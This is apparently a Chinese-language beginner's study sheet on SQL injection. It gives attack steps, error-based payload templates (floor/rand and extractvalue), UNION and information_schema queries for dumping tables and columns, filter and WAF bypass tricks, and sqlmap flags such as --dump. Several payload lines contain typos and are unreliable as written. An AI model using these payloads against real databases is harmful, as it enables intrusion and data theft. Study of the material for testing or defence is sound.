sql注入知识点整理（基础版）
基本步骤
- 判断是否报错
- 判断闭合符号
- 判断注入类型
- 构建payload
- 手工注入或者编写脚本
基本注入类型
- 报错型注入
- floor公式（结果多出一个1）：and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
- extractvalue公式（首尾各有一个波浪号）：and extracvalue(1,concat(0x7e,(payload),0x7e)
- 布尔型注入
- 联合查询语句
- 回显点查询：UNION SELECT 1,2,3;
- 延时注入
其他注入技巧
- HPP绕过WAF
- 宽字节注入绕过引号过滤
- CHAR函数绕过引号过滤
- ||与&&绕过and和or的过滤
- 分割字符绕过一次字符串过滤
- 二次注入
- Linux特殊字符绕过空格过滤
- 括号法绕过空格过滤
常用SQL语句与函数
- 取子字符串：mid(string, start, length)
- 取子字符串：left(string, length)
- 取ASCII：ascii(char)
- 查询当前数据库：database()
- 查询当前用户：user()
- 当前数据库版本：@@version
- 数据库文件路径：@@datadir
- 爆表：select table_name from information_schema.tables where table_schema='database'
- 爆库：select column_name from information_schema.columns where table_schem='database' and table_name='table'
- 字符串连接：concat()
- 字符串按组输出：group_concat()
- 按照分隔符连接：concat_ws(char,...)
- 字段数猜解：ORDER BY x
sqlmap使用基础
- -u指定url
- -p指定参数
- -D指定数据库
- -T指定表
- -C指定字段
- --current-db当前数据库
- --current-user当前用户
- --dbs查询所有数据库
- --tables查询所有表
- --columns查询所有字段名
- --dump查询记录
- --techniques X(X=B布尔型，E报错型，U联合注入型，T延迟型)：指定注入类型
注意点
- 一些特殊符号需要编码，如&
- +在GET参数中会变成空格